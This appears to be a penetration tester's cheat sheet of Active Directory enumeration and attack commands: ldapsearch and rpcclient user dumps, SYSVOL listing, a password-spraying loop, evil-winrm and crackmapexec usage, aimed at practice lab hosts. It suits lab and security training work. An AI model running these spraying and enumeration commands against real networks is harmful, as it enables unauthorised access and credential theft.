🔎AD Post Enumeration/Exploitation

WADComs

GitHub - PowerShellMafia/PowerSploit: PowerSploit - A PowerShell Post-Exploitation FrameworkGitHub

GitHub - 61106960/adPEAS: Powershell tool to automate Active Directory enumeration.GitHub

DNS

Kerberos

dir \\za.tryhackme.com\SYSVOL

NTLM

dir \\<DC IP>\SYSVOL

To try to leak dns info:

nslookup
server <ip>

Powershell DNS config:

$dnsip = "<DC IP>"
$index = Get-NetAdapter -Name 'Ethernet' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip

LDAP(389)

ldapsearch -x -H ldap://<ip> -s base namingcontexts

Then use -b to select and then filter,etc ..

Ex:

ldapsearch -x -b "DC=htb,DC=local" -H ldap://10.10.10.161 'objectClass=Person' sAMAccountName

To use kerberos authentication:

kinit d.klay

ldapsearch -H ldap://dc.absolute.htb -s base -Y GSSAPI -b "cn=users,dc=absolute,dc=htb" "user" "description"

To get list of users:

ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

./windapsearch.py --dc-ip 172.16.5.5 -u "" -U

EXAMPLES:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"

ldapsearch  -D '[e-mail]' -w 'password' -b "DC=support,DC=htb" -H ldap://support.htb

RPC

rpcclient -U '' -N <ip>

Then can do multiple commands:

enumdomusers

If valid users list is present use this to password spray:

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

WinRM(5985)

evil-winrm -u user -p password -i <ip>

SMB(445,139)

CrackMapExec

To check password policy(from kali):

crackmapexec smb 10.10.10.161 --pass-pol -u '' -p ''

To get TGT hashes for users with

For enumeration as it handles proxied traffic better:

proxychains nmap -n -Pn -F -sV -sT -oA nmap_results -vvv -iL ${target or targets.txt} -T4 --max-retries 1 --max-rtt-timeout 2s --ttl 50ms --open 

To use kerberos authentication

KRB5CCNAME=svc_smb.ccache ./smbclient.py -k absolute.htb/[e-mail] -target-ip 10.10.11.181